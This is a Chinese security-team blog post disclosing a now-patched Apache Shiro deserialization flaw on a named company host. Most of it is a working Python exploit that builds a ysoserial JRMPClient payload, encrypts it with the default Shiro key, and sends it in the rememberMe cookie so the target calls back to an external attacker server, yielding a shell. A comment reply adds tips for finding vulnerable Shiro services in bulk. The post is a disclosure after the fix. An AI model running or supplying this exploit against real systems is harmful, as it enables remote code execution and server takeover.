【已修复漏洞公开】Apache Shiro反序列化漏洞

【已修复漏洞公开】Apache Shiro反序列化漏洞

漏洞详情

jr.ly.com 存在 Apache Shiro反序列化漏洞

最初发现jr.ly.com 存在 Apache Shiro反序列化漏洞,在尝试反弹的过程中未成功拿下服务器SHELL,经过更新GADGET后成功拿下服务器SHELL(CommonsBeanutils 1.0)。

<code class="markdown">#coding: utf-8

import os
import re
import base64
import uuid
import subprocess
import requests
from Crypto.Cipher import AES

JAR_FILE = './ysoserial.jar'


def poc(url, rce_command):
    if '://' not in url:
        target = 'https://%s' % url if ':443' in url else 'http://%s' % url
    else:
        target = url
    try:
        payload = generator(rce_command, JAR_FILE)  # 生成payload
        print payload
        print payload.decode()
        r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10)  # 发送验证请求
        print r.text
    except Exception, e:
        print(e)
        pass
    return False


def generator(command, fp):
    if not os.path.exists(fp):
        raise Exception('jar file not found!')
    popen = subprocess.Popen(['java', '-jar', fp, 'JRMPClient', command],
                             stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


poc('https://jr.ly.com/fnc-website/module/01corp/home', 'x.x.x.x:12350')

首先通过构造payload(参考http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html)放入rememberMe 值中发包,成功后会访问我们的外网服务器。

经过运维的努力,所有Shiro版本已升级至最新。
这是TJSRC尝试公开的第一个漏洞,鸭梨山大啊~~~~~

2 Responses

  1. huh1说道:

    特别好奇是怎么发现有这个Shiro服务的

    • 看cookie rememberme,也可以批量替换cookie访问 在用dns回显判断,看返回包cookie是否存在那个字段,存在的话就测试一下。一般是在登录页面 有个“记住我”功能按钮,点击登录以后 会返回rememberme字段的。
      目前国内还是有不少厂商存在这个问题,有的升级 有的换掉key。
      参考:http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注